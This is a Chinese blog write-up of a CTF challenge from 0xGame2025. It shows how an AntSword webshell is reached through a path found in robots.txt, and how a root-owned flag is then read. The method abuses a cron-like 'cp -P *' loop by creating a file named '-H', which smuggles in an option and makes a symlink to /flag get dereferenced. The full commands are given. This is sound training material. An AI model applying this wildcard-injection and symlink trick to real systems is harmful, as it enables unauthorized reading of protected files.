一个软链接的题

题目来源:0xGame2025-放开我的变量

打开是个博客,在robots.txt中可以得到/asdback.php

image-20251106190236646

打开是个可以直接连蚁剑的

image-20251106190313612

image-20251106190346463

根目录有flag文件,但是没权限读,要提权

image-20251106190435134

查看系统进程

1
ps aux

image-20251106190601988

看到start.sh,读一下

image-20251106190637646

1
2
3
4
5
6
7
8
9
10
11
#!/bin/bash
cd /var/www/html/primary
while :
do
cp -P * /var/www/html/marstream/
chmod 755 -R /var/www/html/marstream/
sleep 5s

done &

exec apache2-foreground

就是每五秒将/var/www/html/primary目录下的所有内容复制到/var/www/html/marstream/目录下,并且给了这个目录755权限可读可执行

https://infernity.top/2025/02/12/N1CTF2025/#backup

这里就想到使用软链接,但是下面这个命令使用的-P这个选项使符号链接不会被解引用

1
cp -P * /var/www/html/marstream/

可以用-H参数来覆盖-P参数

cp -H 会让 cp 命令在遇到符号链接时,按照符号链接指向的目标文件进行复制,而不是直接复制符号链接本身。

创建一个-H的文件,这样在执行命令的时候命令就是:

1
cp -P -H /var/www/html/marstream/

这就可以正常利用软链接了,创建-H文件夹:

1
echo "" > -H

或者是:

1
touch -- -H

--的作用是不解析后面的参数

然后在/var/www/html/primary目录下创建软链接

1
ln -s /flag f

最后在/var/www/html/marstream目录下可以读f从而读到flag的内容

1
cat /var/www/html/marstream/f

完整的命令:

1
2
3
4
cd /var/www/html/primary
echo "" > -H
ln -s /flag f
cat /var/www/html/marstream/f

image-20251106192446069


一个软链接的题
https://yschen20.github.io/2025/11/06/一个软链接的题/
作者
Suzen
发布于
2025年11月6日
更新于
2025年11月6日
许可协议